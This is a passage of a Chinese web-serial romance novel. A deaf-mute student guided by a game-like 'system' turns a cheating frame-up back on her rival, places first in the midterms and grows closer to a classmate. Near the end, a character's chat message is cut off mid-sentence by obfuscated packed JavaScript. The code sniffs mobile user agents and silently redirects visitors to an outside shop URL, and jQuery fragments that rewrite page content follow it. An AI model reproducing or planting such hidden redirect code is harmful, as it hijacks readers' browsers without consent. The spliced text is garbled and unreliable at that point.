池鲤鲤紧攥裙摆,脑子很乱。 如果池映雪不会喜欢沈星桥,如果她压根就不会对她有威胁呢? 那她冒着被李闻蝉报复的风险、还有本就因莫名丢了不动产而消费降级,连大牌衣服都不能随意够买的生活…… 邢芷再次清嗓。 池鲤鲤松开拳,转头道:“算了……” 不知道邢芷是不是没听见,总之没有理她,已然举起手。 一位监考老师在台上拆袋,另一位在底下巡查,正好走到邢芷身边。 “老师,我们考场可是有人上次疑似作弊呢。” 邢芷道,“我提议老师您把每个人桌面上的东西搜查一遍,比如水杯、笔袋……” 她斜着身,目光若有若无转向最后排的池映雪,一时之间,连带着其他同学也转向她。 考场中议论声四起。 监考老师用力拍桌:“安静!” 他看了眼邢芷准考证上的班级,创新1班的人,脸色缓了些。 “既然这样,我就挨个看,你先提议就从你的查起吧。” 整个教室的视线都集中分散在前排和最后排。 “看这个邢同学的样子,她肯定知道点什么。” “就是,不过咱们身正不怕影子斜,就是不知道那个被她指出来的女生……” “可我看池映雪还蛮淡定的。” “她当然淡定!笑死,她现在还不知道发生了什么吧?要我说这聋哑妹妹就是自卑过头了,才会用这样的手段假装自己很厉害。” 老师顺着“S”形一排排查过去,邢芷在的那一组查完,下一组从最后排开始。 正是池映雪和池鲤鲤的组别。 万众瞩目,粉白相间的笔袋被拉开。 池鲤鲤扬起下巴,闭了闭眼,正要开口,被邢芷拍臂打断。 池映雪忽然浅笑,乖乖巧巧。 “没有。” 监考老师掷地有声。 拉链完全打开,连带着里面的小夹层,除了笔和尺子、橡皮,什么也没有。 老师对池映雪颔首,轻叹一声,虚拍了拍她的肩。 这学生看着就乖,他就不该多此一举。 同学们神色各异,当即便有无数怀疑眼神投向邢芷,以及她身边的池鲤鲤。 “这是污蔑了吧……” “人家聪明着呢,泼脏水都说的是‘有人’‘疑似作弊’。” “切,那不就是纯纯嫉妒么?难道她们一班看不得别人比她们考得还好?” “你没懂,我悄悄告诉你,池映雪是人家盛池二房的真千金,刚暗讽找事的那个邢芷是假货的狗腿子!你自己想想!” 邢芷被监考老师不善地看了一眼,凑近池鲤鲤耳语:“你不是说已经放进去了吗?怎么回事!” 这还是第一次,邢芷对她语气这么冲。 池鲤鲤压下心中古怪,脸色不大好看:“我放了啊!” 之前,她又丢了宣传大使的 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而且她现在才意识到,池映雪以前睡觉都会锁门。昨晚她偷偷潜入,却一路畅通无阻! 池鲤鲤刚要查看,监考老师已经从池映雪那边查到她这里:“这位同学。” “这位同学?” 池鲤鲤一直没出声,老师鼻孔出气,心里翻个白眼,从她手里将笔袋直接抽出来。 唰! 夹层的拉链打开,蹦出来几张打印体纸条,小字密密麻麻印着古诗文和重点注释。 还有一个手写的书签,监考老师顺便念出口:“鹊桥……” 沈星桥原本一直端坐在第一排,闻言迅速转头,下意识望向池映雪,想起她听不见,晦涩地转回身,恢复往常疏离的平和。 池鲤鲤夺走老师手里的书签,在周围同学的猜忌和嘲讽声中满面恼红。 “贼喊捉贼啊……” “莫非这个邢芷是知道池鲤鲤要作弊,大义灭亲?” “她们看起来就是塑料朋友。” “‘鹊桥’不会是什么情书吧?一班的学霸也会早恋啦?我要去论坛吃瓜。” 老师严厉地批评了池鲤鲤和邢芷,让她们只留下要用的笔,把笔袋和书签都暂存在讲台。 系统幸灾乐祸地对池映雪道:[池鲤鲤怎么都想不到,宿主昨晚解锁了“期中考试”里她的视角,早就知道她们的计划,将计就计!] 剧情里池鲤鲤顺风顺水,没有像这样狗急跳墙,栽赃陷害;但依旧碰巧进了池映雪的卧室,发现了那枚书签,而且一眼就认出是沈星桥的笔迹。 按照池鲤鲤的视角,这就是她前阵子丢失的那一枚。 池鲤鲤把书签塞进笔袋的夹层,剩下的情节和刚才一样,由邢芷举手让老师检查——那时的池映雪对此一无所知,很快被“当众揭穿”,搜出了“罪证”。 再加上先前宁世延造谣的“恋情”,她被万人嘲讽鄙夷,甚至在一班里冠上了“小偷”的名号。 系统翻阅后面的剧情发现,池鲤鲤后来发现了书签的真正盗窃者,是沈星桥那个狂热的追求者——趁着微积分选修课上池鲤鲤去讲台问题拿走的。 但那时已经是研学旅行时期,池映雪已经快下线了。 它粗略翻过书页,似乎也没人在意她这回事。 系统忍住酸涩,定下心神道:[幸亏宿主聪明,早上趁阿姨例行帮池鲤鲤整理书包时去帮忙,将你们两个一模一样的笔袋做了个交换!] [哼!还想陷害我们宿主,连笔袋被换了都发现不了,只能搬起石头砸自己的脚!] 池映雪不置可否。 [不过沈星桥是怎么回事?]系统满眼好奇,[照这样看,他给宿主你和池鲤鲤送了完全一样的手写书签啊?] ——要不是宿主坦率否认,它之前都以为这个东西是隐晦的表白呢。 毕竟是情诗啊。 现在是怎么个事,批发的情诗吗? 池映雪没多想什么,已经将条形码贴上答题卡,于是回:“只是单纯想送书签吧。” 她并不关心这个。 只是…… 原剧情里,沈星桥也送给她书签了么? 既然如此,他明明知道她不是“小偷”的吧。 好奇怪啊。 但沈星桥实在帮过她很多次,早在他不知道她身份和其他一切的时候。 池映雪的怀疑只有很短一瞬间。考试已经开始,她摇摇头,想起进考场前收到的那四个字,哼了一声,专心做阅读。 三天考试结束,周天的晚自习正常进行。 考试前,桌面上的书要求全部清空。基本上大家的储物柜都放不下那么多物品,所以搬去了办公室的角落。 那几天李闻蝉行事诡异,具体表现为避免和她进行一切近距离接触,池映雪书多,一个人搬不动,多亏胡挚突发提议来帮她。 蓝夜白灯。 池映雪放下书包,胡挚和章子健几个人在位置上对数学考试的答案。 她略一思忖,刚想翻出点零食请他再帮忙,砰的一声,后门被从外面一脚蹬开。 李闻蝉抱着她的书,哼着歌走近,稳当当将书架、书立和最上面的笔筒挨个放好。 放完没着急去搬他自己的,而是身侧轻贴她的课桌,双手抱臂,清闲地牵着唇瞧她。 像在等着什么。 池映雪睫毛颤了一下。 右手不太确定地伸出,大拇指向前按两下。 ——谢谢。 轻笑落在耳畔,气息温热,沾染他的橘香。 李闻蝉突然抽出手,宽大的手掌摊开,朝向她的方向拎了两下。 不知道什么时候学的手语。 ——“不用谢。” 64. 第 64 章 等李闻蝉把他的书也搬回来后,章子健他们已经看见了池映雪,挤到她桌前对答案。 联考不像月考,考完就能拿到试卷和答题卡,部分科目的老师还会把答案发到班级群里,全年级依照标答算分。 因为是多校联合出题,题目比虹文本校出题简单不少,难度和前几年没有改成全国卷的高考差不多。 章子健刚给胡挚讲完他不会的大题压轴,只有一道拿不准,依旧是选择题最后一道。 他怀疑这道又是齐幂出的。 胡挚:“反正我又选B。上次就靠这个蒙对了,齐幂再爱我一次!” 章子健:“让我看看池同学记的答案……” 李闻蝉放下书,悠悠然晃过来,一手扶住章子健的肩,一手撑在池映雪课桌上。 章子健手里拿着一张纸,娟秀字体记录选填的答案。 胡挚:“雪神又选C啊。” 池映雪眨眼,对他的话似懂非懂。 想了想后将手比成“C”的形状,举起来示意,恰好停在粉色的脸颊边。 就选C呀。 “靠。” 耳边响起很小一声低音,章子健不明所以旋过眼,打量猛然偏头转身的李闻蝉:“你怎么了?” 李闻蝉单手揉着耳朵,耳垂通红。 “……没什么。” [叮!攻略对象好感+1。] [当前男主好感:74。] 池映雪这才注意到李闻蝉,背对着她,不知道是什么情况。 难道他也选的C? 临近晚自习,池映雪身边的人群慢慢疏散。 李闻蝉丢过来一张纸团。 「真的选C?」 「可我选B怎么办。」 池映雪偏头,李闻蝉撑着脑袋,眯起笑眼看她。 另一只手随意搭在椅背,端一杯橘子奶冰摇摇晃晃。 细碎的光盛满长眸,略有点小嘚瑟。 是了。胡挚说过,李闻蝉的第六感很准,蒙题从来没有蒙错过,不像她。 池映雪扬起下巴。 这次可不一样。 她是自己算出来的! 李闻蝉接住黄色便签纸揉成的纸团。 「那要不要,再打个赌?」 “还打赌。” 无奈的低笑从喉间溢出来,李闻蝉将纸团摊开铺平,随手夹入语文书。 “上次答应的事,我可是有在好好完成,不像某些人……谁知道呢。” 池映雪过了好几秒才反应过来他说的是什么。 当时要他帮忙牵线唐伯霓女士的时候,她还有另一个要求来着。 李闻蝉掏出手机编辑消息,察觉到她的目光,挑了下眉,长指拽扯熨烫过的校服外套,整齐的领带随之轻动。 「你看。」 「我很乖的。」 「这下算好学生了吧?」 池映雪:「等成绩出来再说吧。」 李闻蝉散漫的气势一下子就正经起来,指尖抵着脸侧。 「不信我?」 池映雪:「……那倒没有。」 她怎么忘了。 这人是传说中无所不能的气运之子来着。 数学出分那天下午,章子健手拿徐静萌交给他的数学成绩汇总,进教室门时差点没被门槛绊倒。 胡挚扶了他一把:“咋了这是,没考好?不会吧!” “我看看……145,这还不好啊大哥?!” 这份表单是按学号排的,胡挚从熟悉的倒数位找自己:“哎哟,及格了及格了……” 一声粗口被他爆出。 池映雪和万苏瑶从小卖部回来,刚进班门,就被他的超声波镇住,连她也能听见微末响动。 胡挚:“不公平啊!同样是从零开始,我还比蝉哥多学好久,他135!!!” “真的假的……” 万苏瑶嘴里的玉米烤肠差点被她咬断,章子健点点头,一脸玄幻。 万苏瑶很快将震惊抛之脑后:“你这是所有人的?小雪多少?” 章子健露出一个神秘莫测的笑。 池映雪被拉着走过去,低眸一扫,抿住嘴巴,任由万苏瑶激动地搂住她庆贺。 系统在旁边放电子烟花:[我就知道宿主最强!宿主最棒!哦耶!是满分!!] 池映雪腼腆道:“这次题目简单。” [嗯~]系统扭脑袋,[宿主不要以为本统不是人类就什么都不懂哦!人家都从宿主的同学们口中知道了,虽然题目基础,但想要拿140以上还是很不容易滴!] [唯一可惜的是男主大人,居然好好学了一阵子只有135,好奇怪呀!] “………” 池映雪扶额,“统,你没有上过高中所以不知道,像他这样学一下就能考135的,我一个都没见过。” 让她这个满分都显得不是那么有滋味了。 系统又一次化身无脑男主吹:[哇,原来是这样!不愧是男主大人呀!] 池映雪叹了口气,越过拥挤过来庆祝或好奇的人群,环视教室,找寻某道消失不见的身影。 不知道为什么,瑶瑶、秋怡、胡挚、章子健……他们都在,她却迫切地想让他也知道这份成绩表。 即使对他的“男主光环”有点牙痒。 池映雪:“系统,你的男主大人,现在在哪呢?” 十月过半的天,通往学校花园的路一派金黄。 脚下的落叶很潮,大都贴在灰色的地面。 忽然间两片没沾地的叶片飞起,一只手拦住她。 沈星桥手里有记满答案的草稿纸,最上面用铅笔写:「齐老师今天下午有事,我听说你们班的数学成绩已经出了,你是满分。」 「方便和我对一下答案吗?」 沈星桥原本怕她记不住,特地花功夫整理了每道题的大致题干。 结果池映雪根本不用看,用他拿来的红色钢笔挨个对着选填打钩。 沈星桥眼神暗了暗,很快提起心神,俯下身看她手里的草稿纸,靠近她的那侧肩膀若即若离,往下的手攥成拳,紧张地轻颤。 选填全对。 沈星桥松一口气,笔尖却在此时停下,他又提心吊胆。 池映雪在草稿纸的空白处写字:「我们是朋友,对吧?」 沈星桥:“怎么突然……” 他瞥向她雪白的耳朵,停顿出声,对上那双清澈坚定的眼睛,露出一贯的温和笑容。 沈星桥颔首,手攥得愈发紧。 池映雪转了转笔杆,继续帮他看答案。 系统:[宿主真的信他呀?原剧情里他都那样了……] “原剧情里的我也不是我啊。”池映雪不假思索。 原剧情里,她偷窃、阴暗敌视池鲤鲤,对沈星桥爱而不得。 前者绝不可能,后者池映雪之前相信过,可越是接触,她就越发觉得这或许只是种错觉。 再说,她的朋友本来就只有这么多。 她想相信。 系统戳键盘:[哼,我算是发现了,这些人说什么宿主都信,从不多想,就是不信男主大人。] [人家说了好学生不早恋,你还为孟心词加他“吃醋”;男主大人一句话,你能延伸五六七八句意思……] 池映雪翻了一页草稿纸,趴在上面哔哔的系统掉下去。 沈星桥被她突兀的动作打断思绪,正好已经对完,不出意外,他也会是满分。 沈星桥没再笑,却终于放松面部的肌肉。 「对了。」 他取过池映雪手里的笔,「你们班的李闻蝉这次考的也不错呢。」 「135,你知道吗?」 池映雪不知道他想说什么,没回答,只歪了歪头。 沈星桥:「有时候真挺羡慕他的。」 「好像不论我们如何努力,遇上他那种人,轻轻松松就能取得差不多的成绩。」 脚步声由远及近。 沈星桥:「他和我们,就不是一个世界的人。」 「他小时候最好的朋友都说过,他是个天才,也是……」 「怪物。」 句号落笔。 清瘦高挑的身形出现在花园径口,小道尽头。 又一次,池映雪和沈星桥站在一起,遇见李闻蝉。 总是这样。如果这里也有系统口中的上天存在,那么它一定很爱玩一些恶趣味的游戏。 金黄的树,荫影落满地,恰好给两片天光间投下一道灰暗的分割线。 池映雪指尖微动。 与此同时,李闻蝉快步朝她的这片光走来。 沈星桥手中的笔被抽走,簌簌两下,“怪物”二字被划下删除线。 池映雪对他挥手,向前走两步,背着手等那人过来,短线的下面俨然是一行崭新的文字。 「他才不是怪物。」 李闻蝉一看就是刚喂完猫,橘子香中裹挟淡淡的猫粮味,池映雪并不讨厌这种味道。 她向那道黑色护腕伸手,被他眼疾手快地躲开。 池映雪:他怎么又开始了。 李闻蝉握紧护腕,眼睛乱瞟,不自觉低语:“先别看………” 池映雪鼓了鼓腮,食指隔空点向护腕上很醒目的白色猫毛。 李闻蝉这才噢了一声,清清嗓,若无其事地俯身比划:“找我有事?” 本来是有的。 池映雪睨了一眼落空的手,鼻子轻轻哼气,掉头就往教学楼的方向走。 李闻蝉焦灼地掀开护腕看了一眼,放开拍打两下,又细细检视骨节分明的手部。 从手心到手背,比原生的冷白皮还要莹润点。 他满意地勾唇,抬脚追上前面的人影。 池映雪走着走着,他的手机递过来。 「和你说个事。」 「你可能不爱听,但别生气。」 不爱听你还说。 池映雪:「你先说,什么事。」 李闻蝉挣扎仅有两秒,下定决心般打字:「你和沈星桥走的挺近,对吧。」 「他这个人,我不巧比你认识的久那么一点点。」 「我和你说过他人不坏,就是假了些,心 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但她不知道怎么将想问的精准又不意外伤到人的表达出来。就像回到了刚开始学习打字与人沟通的时候。她其实只是…… 李闻蝉抬手。 宽大温暖的手掌覆上她后脑勺,强忍住才没有揉,而是很浅尝辄止地拍了拍。 另一只手在屏幕打字:「你关心我啊。」 [叮!攻略对象好感+2。] [当前男主好感:76。] 系统用猫猫尖叫的小表情刷屏:[啊啊啊!还剩不到5%就下个阶段了!宿主冲呀!] 眼前人背后是行近半旬的秋光,明明应该是凉爽的。 他手太热。 池映雪的脸也烫起来。 池映雪犹豫了一下,还是问出纠结许久的话题。 因为说起“小心思”,她何尝不是。 「李闻蝉。」 「如果你知道一个和你交朋友的人,本意不是交朋友,而是想通过你得到什么。」 「ta有很多接近你的举动,其实都是出于她的…可以说是谋略。」 「ta本来打算交个普通的朋友就够,但是好像有一点贪心。已经是好朋友了,怎么办。」 怎么办。 说了无数遍坦白,说好了达到某个阶段就终止——终止不了一点,怎么办? 手指颤巍巍。 「你还愿意和ta继续当朋友吗?」 李闻蝉的眼睁大了些。 池映雪听见他很轻微的一声吸气。 “真的假的……” 李闻蝉很快定了心神。 天台上那场雨仿若又落在耳边,弥漫巧克力的苦。 他很无奈地笑,叹出气,长指散漫点击键盘:「那要看这个人是谁了。」 「比如,你?」 他还没接着打字,池映雪立马否认:「不是!是我的一个朋友。」 「我就是问问你,你别多想。」别…… 别因此真的不和她当朋友了。 池映雪脑子很乱。 李闻蝉:“噢……” “你的一个‘朋友’啊。” 他好像笑了一声,意味深长。池映雪低着头,缩得像只鹌鹑。 想要他的回答,又不敢看。 如果他说不介意,她会替他不值得。 如果他介意。 池映雪有点沮丧。眼睛酸酸的。 温热的手像雪中遇火,捏住她的鼻子。 他低腰与她平视,长眸如暗室逢灯。 “怎么鼻子都红了。”李闻蝉笑话道,“是不是太冷了?” 他自问自答,“估计是,起风了。” 地上的叶子一动不动。 哪里来的风。 他的手撤走,池映雪吸了吸鼻子,瞧见李闻蝉装模作样地换了个方位站,就和真的在为她挡风一样。 李闻蝉开始逐条回复:「池映雪。」 「你想继续……不。你的朋友,想继续和我交朋友吗?」 他在口中念一遍,有点绕。李闻蝉哼笑,接着打字,「你朋友一开始想什么都行,毕竟人接近另一个人的原因千奇百怪,很少不图什么吧。」 利益,长相,智力……就连怀着渴慕接近,那也是一种情绪价值。 李闻蝉:「最重要的是,她后来有真心想和我交朋友吗?」 他现在站的位置正对教学楼大厅的台阶。 秋光正好,无风无雨,有太阳。 阳光随云层移动。 「想。」 「绝对。」 绝对是真心的。 [叮!攻略对象好感+2。] [当前男主好感:78。] 金灿灿的光终于勾勒出少年颀长的轮廓,让冷感的外表柔和下来。 李闻蝉眉开眼笑:「那不就够了。」 65. 第 65 章 回到教室,生活委员拿着值日表走过来,戳了戳池映雪。 该她扫地了。 上次和她交换值日的女生应该没有报备过,池映雪找了一圈,没看到人。生活委员在旁边等着,她赶紧低头翻手机。 要不先扫了算了…… 耳边响起清冽的声音,没什么温度:“你是不是搞错了,她才扫的地啊。” 生活委员:“啊?是吗?不该啊。” “这一天,她扫的一二组。” 李闻蝉随意抬手轻点表单,“噢——是不是和这位同学交换了,你去问问?” 生活委员第一回和他讲话,还有点怵,忙道:“好的好的。” 翻抽屉的手停下来,手机握在手心里。 嗡。 李闻蝉:「池映雪同学,我还有一件事。」 「关于你刚才说的那个朋友……」 池映雪空咽。 李闻蝉:「怎么和你那么像啊。」 「能不能不要老是站在别人的角度考虑问题,别老迁就别人。」 「多想想你自己,为你自己做事情,好不好。偶尔自私一点。」 李闻蝉:「贪心一点,也没关系。」 池映雪偏头。 他还在打字,垂着头,黑色碎发垂下来,白色的校服线条利落,有种说不清的温驯。 偏偏坐姿还是那样散漫,吊儿郎当,腿敞着,胳膊搭在膝上认真编辑消息。 是和她截然相反的桀骜。 「帮人扫地,帮人洗衣服,帮人送水,帮人讲题,都挺好。但不是非要用这种方式来获得好感。」 「你站在那里,什么也不做,喜欢你的人自然会向你靠近。」 「大家都不会走的。能走的朋友,也不算朋友对吧?」 李闻蝉忽然很轻地牵起嘴角,风吹起他的发,阴影微动,挡住干净的眉眼。 「或许比起你担心因为所谓的小心思友谊不纯,担心你没有帮助他们而无法融入,你的朋友,更害怕失去你。」 数学出分后不过一天,其余科目的分数陆陆续续出来。 胡挚转过来,趴在李闻蝉位置上算分,算自己生化考多少才能到大概的平均线。 算着算着,他瞄到李闻蝉写在草稿纸上的成绩,气得摔笔:“蝉哥,你真的太气人了,能不能把你脑子借我?” “几个月前我老爹念叨我,商业头脑不如你,打球也不如你,我还能理直气壮说一句,我好歹成绩比你好那么一撮撮。” “现在——”胡挚举起李闻蝉刚发下来的几门答题卡,“数学135,英语140,语文120,你还是人吗?!” 万苏瑶:“没事,他物理不也刚及格吗?” 胡挚:“噢,可我59。” 万苏瑶乐了:“这不巧了么,小雪95。” 胡挚彻底抑郁。 池映雪被胡挚幽怨地盯着,头皮发麻,转过脑袋回望,一眼就看见他手里的答题卡。 最上面那张是数学,选填被自行订正过,只错了最后那一道。 看来某人的第六感失灵了呀。 胡挚注意到她的眼神,也纳闷:“蝉哥居然会蒙错题。” 李闻蝉以前交个白卷都无所谓,现在被几人这样光明正大观摩答题卡,居然脸颊发热。 他一把夺回几张答题卡,卷一卷扔进抽屉:“蒙题算什么?以后我都不蒙了。” “凭实力答对,那才是真本事,是吧。” 池映雪总感觉那道视线若有若无地落在她身上。 万苏瑶:“我来给小雪算算总分。” 她说动就动。池映雪还不明所以,万苏瑶就拿出计算器按起来:“数学150,英语142.5,语文121,物理95,生化按上次194来算……总分702.5!上七百了!!” 那声“七百”叫破音,池映雪都听见了。 她摆摆手。 好夸张。 胡挚:“但这次生化难啊,又是那么多人一起赋分,不知道结果咋样。” 万苏瑶:“呸呸呸,别说丧气话!” 李闻蝉轻咳一声,伸手帮胡挚打他的嘴。 胡挚委委屈屈,摸了摸脑袋,真诚赞美:“看我这笨嘴!咱雪神多牛我还不知道?上次考完还被Stella叫去加练,这回直接一百四十多,绝了!” 池映雪被他追着问方法,总结了半天,才憋出几个字:多背,多写,多重复。 她只会这么做。所有科目都是这样,由于“屏蔽力”足够强大,很难被干扰,在学习上花的时间又多,才能提高。 但语文就明显不行。这段时间她下功夫最多的两门就是英语和语文,课外阅读和写作还能歪到天边去。 池映雪想起了在七中的日子。 刚开始尝试和大家沟通的时候,是苹安和裴景手把手教她如何正确使用文字。 因为聋哑,她对许苹安发过这样的消息:「你不要水,会死亡。」 吓了许苹安一跳。 后来才搞清楚,原来是那天她在打羽毛球,拜托池映雪帮忙买水,池映雪去操场时她却不在。 许苹安让池映雪把水放在树边,但池映雪怕放外面东西没了,所以这样发。 在她那时的语境里,“死亡”就是“消失”、“不见”、“没了”。 没有谁有耐心教她怎么好好说话。许苹安和裴景是例外。 还有她话语生硬,只会干巴巴地打出关键性的文字,许苹安建议她多使用语气助词,以及可爱的小表情,看上去不会太严肃。 所以语文对她来说,真的很难提高。 池映雪看看自己的121,再看李闻蝉从开学考的99变成如今的120,明明为他高兴,依旧有种微妙的不平衡。 那边胡挚又不知说着什么,一脸仰慕地正对李闻蝉。 有不少人大着胆子围过来,纷纷瞻仰起他135的高分。 池映雪耳边嘈杂,听不清晰,只有语气很好的嗡嗡声。 后排的白炽灯落了少年满身,像教室里的太阳。 池映雪将头偏向另一侧。 阳台外夕阳瞩目。 她搬着椅子从后门走出。 身后像水开了那样沸腾的杂音越来越遥远,门开时似乎有一瞬安静,关门,两个世界相互隔绝。 在教室里没法专心,池映雪坐在阳台写题。 写完第一小问的空隙,她抬头盯着天空正中心明亮的光环看,眼前逐渐冒出小黑点。 耀眼,又灼烧。 即便如此,夕阳将落未落,也没照射到她这片地带。 太阳,太遥远了。 轻而易举,就让人难以追赶。 吱——— 后门打开。 笔尖停下,墨迹在护眼黄纸上晕开小小的黑太阳。 李闻蝉也搬来他的椅子,放在她旁边的位置,关好门,抽出手臂夹着的数学试卷,挡在她酸涩的眼前。 刺目的光刹那间消失,薄薄的纸上,修剪整齐的指甲底端有一枚白月牙。 他是来问题的。 李闻蝉也不急,指尖点触她笔下第二小问的序号,坐在一旁等。 池映雪写完,才接过他递来的数学试卷。 圈起来的题还挺有难度——简单的也不是全部没错,但他没拿来问。 池映雪一五一十地写步骤,想到他的基础,写得格外详细。 笑声响起,很低。 李闻蝉单手撑脑袋,上半身微俯下,鼻息与笑一同落在她额头和刘海上一点。 两张椅子的影纠缠在一起。 他的长腿无处安放,向外打开,只差一点就会和她并紧蜷在椅下横杠的腿相贴。 她写着答案,李闻蝉开着小差玩手机。 屏幕倒转。 「你这么大度无私,倾囊相授,就不怕我下次超过你?」 池映雪抿唇。 怕呀。 她突然懂了沈星桥话里的意思,那是一种对“主角”的嫉妒。 哪怕沈星桥已经算是这片天地的主角,依旧比不过更加得天独厚的李闻蝉。更别说她。 可是…… 池映雪睨了他一眼,狠狠落笔。 响声沙沙:「你先超过再说吧。」 就像某人曾经说的。 从没看她输过。 [叮!攻略对象好感+1。] [当前男主好感:79。] 夕阳落下一点,逃离上层的云雾。 暖色调的橘味天光终于照向这处阳台,正对着她的黑色瞳孔倏尔缀满星星点点的灿光,睫毛染上辉芒。 瞳里倒映两个小小的她,愈发放大。 ——李闻蝉弯着眼,逐渐凑近。 池映雪的手放在膝盖上,紧紧压住纸张,攥笔到手心发白,下意识缓缓往后面的空气靠。 呼吸暂停。 直到清清闲闲的笑声响起。 “原来以为你是为了帮别人强求自己……现在看,也不尽然。” “你就是真的。” 距离只有一根指头的时候。 李闻蝉抽走写满答案的试卷,起身,恰好再次遮住她的眼。 自言自语,随风和日光一起穿过她耳边的碎发:“真的那么大方,那么轴,那么呆。” 池映雪伸出巴掌,鼓着脸将他的卷子打掉。 什么嘛。 李闻蝉恍若未觉:“———那么正直善良。” 试卷被重新卷好夹在手臂,同一只手拎起椅子。 空闲那只干燥温暖的掌心,最终还是覆上她头顶,揉了一把。 “手感不错。” 后门打开,关闭。 池映雪红着脸整理头发,才发现草稿纸被他留下。 不知何时,最上方的立体几何示意图旁边写有一排大字,漂亮得醒目。 「我再学10年也学不会这么优雅的辅助线(▼ヘ▼#)」 「——你好厉害啊,小雪老师。」 空气重新开始流动,带起一阵秋日独有的太阳香。 远处的桂花在轻轻摇。 周四中午,穆雨阳握着厚厚一捆成绩条走进一班教室。 期中、期末两次考试,占据分班成绩评定的各45%,其余才是零零碎碎的月考、开学测和竞赛,除非是专攻学科竞赛的特别班。 此外,虹文在教育界含金量颇高的奖学金也取决于它。 “这次考试简单,除了理综难,作文给分低,其余估计分差不大,不知道结果如何。” “还能如何?沈神第一呗。” 邢芷记恨道:“和你们讲个笑话,那个只考好一次就以为自己很厉害的哑巴,对鲤鲤放话等着瞧……” 讲台上传来惊呼,将她未说完的话打断:“沈神年排第二?!!” 所有在教室的人瞬间被吸引眼球。 “那第一是谁?” “不会是2班的学委吧?” 穆雨阳摇了摇手指:“上次年级前五,除了2班的,还有一个外班的人噢。” 鸦雀无声。 秒懂的人看向青着脸的池鲤鲤,孟心词则直接开嘲邢芷:“什么叫‘只考好一次就觉得自己很厉害呀’,邢芷,人家考好两次啦~” 邢芷羞愤到不行,夺门而出。 穆雨阳旁边,不确定的声音弱弱响起:“………五班的池,池映雪吗。” “没错!”穆雨阳脸上的笑和考第一的人是他一样,“数学、生化满分,总分708.5!” “生化满分?!这次化学那么难,我有个方程式都没配平,她怎么考的?” “我听上上届学姐说,咱们市内自命题考到六百七八,高考就能冲七百了……” “上次考完池鲤鲤邢芷不是到处说人家是作弊的吗?难道池映雪救了校长的命,次次都能作弊呀!” “就是嫉妒,校园女神投票不也造谣孟同学么………” 池鲤鲤在座位上攥紧裙摆,难堪不已。 自从期中考试那天后,她见到池映雪就躲着走。池鲤鲤发现自己需要好好思考一下对她到底是怎样想的。 可在那以前,她更担心星桥哥哥。 沈阿姨看上去很温柔,和星桥哥哥一样,对她也很好。但上次篮球赛,星桥哥哥受伤了住院,她看望完临时折返回病房取水杯的时候不小心听见沈阿姨教训他的话。 她把他贬得一无是处,还说如果期中没有像以前那样保持第一,就会对他彻底失望。 偏偏,池映雪来了虹文。 池鲤鲤连忙回眸,想劝劝他,却不见沈星桥的踪影。 他人呢? 虹文对面的汤咖喱店门口。 池映雪今天没有和万苏瑶她们一起吃饭,而是一个人抱着大盒巧克力等待。 迎面的公交下来两个人,她眼眸骤亮,向许苹安和裴景跑去。 昨天想到七中,她在三个人的群里说有些想他们了,没想到他俩今天就过来看她。 平时都是被万苏瑶等人带着吃吃喝喝,池映雪难得当一回向导,请许苹安和裴景吃了这家最有名的椰香汤咖喱猪排和苹果挞。 那两个人也不和她客气,吃得很香。 裴景吃饭很快,吃完就掏出手机。 PeiKingU:「你们联考的分数出来了吗?」 苹安果:「难得小聚,能不能不要提成绩呀!」 池映雪笑盈盈等他们二人争完,腼腆地打字:「嘿嘿。」 许苹安秒懂:「噢~难怪又是请吃香香饭又是巧克力,这是考的很好呀~~」 池映雪抿起嘴,难以抑制地扬起下巴。 小雪:「第一哦。」 苹安果:「!!(鞭炮)(鞭炮)(鞭炮)」 PeiKingU:「(鞭炮)很厉害,这可是虹文的第一,恐怕市里也是第一了。」 许苹安想到来之前班上的闲言碎语,解气道:「太好了小雪!班上之前带头蛐蛐你那几个人最近又开始了,我这就把你的好成绩带回去,狠狠打烂他们的脸!」 一想到那些人说小雪肯定在虹文过得不好,连七中都不敢回就想笑! 拜托,这可是在全国都鼎鼎有名的大虹文、大虹文的第一诶!! 许苹安对裴景耳语:“你以后要是再缺钱,就让小雪把她的笔记给你印一份拿去卖,标个‘虹文期中年排第一’,绝对卖飞了!” 裴景:“……谢谢关心,我自己有奖学金。” “哦对。”许苹安噘嘴,“你俩都是大学霸。” 裴景瞟了一眼对面小口小口啃巧克力的女生,低眸笑了笑:“那还是赶不上人家。” 许苹安目光流转,扯了下嘴角,轻叹口气,用手机敲了敲池映雪那边的桌面。 苹安果:「小雪,你上次不是问我你们虹文那个校霸的事情吗?我又打听到了一些事。」 「虐猫那事不知道真假,但……」 她还没打完,池映雪擦净手坐过来,点点屏幕,把这一行删掉。 池映雪:「假的。」 「他不是那种人,那次他才是拯救小猫、制裁虐猫者的那个。」 许苹安:“诶。” 许苹安:「假的啊,我就说,不然没法解释我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635285|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打听到的另一件事嘛。」 「他“校霸”的名头在七中那片是怎么流传起来的呢?不知道你记不记得咱们那边有一条小巷子,一到晚上就人鬼横行,前几年闹出好几回校内同学被抢劫的事件。」 「后来七中出了个神人,单枪匹马带着小弟小妹就去干倒了那些坏蛋,江湖人称“霸王花”,就是我们年级俗称的老大,谢恩雅。」 PeiKingU:「……你们年级还有这号人?」 小雪:「我也没听过。」 苹安果:「你们太out了,听我讲!谢恩雅家里在市里有点背景,据说还不小,她又伸张正义,无人阻拦,这就架不住有人打着她这么好使的名头狐假虎威。他们不敢在七中行事,跑到桥西欺负人,被住那里的李闻蝉撞上了。」 「听说李闻蝉当场就把那群持刀抢小孩手机的人揍趴下了,还报了警!他们就报出谢恩雅的大名,可李闻蝉人家也是个少爷,对吧?他直接带着警察叔叔去找谢恩雅对峙!」 池映雪听得惊心动魄。 他怎么老打架! 对方还持刀! 池映雪赶紧打字:「那之后呢,他们握手言和,就没事了吧?」 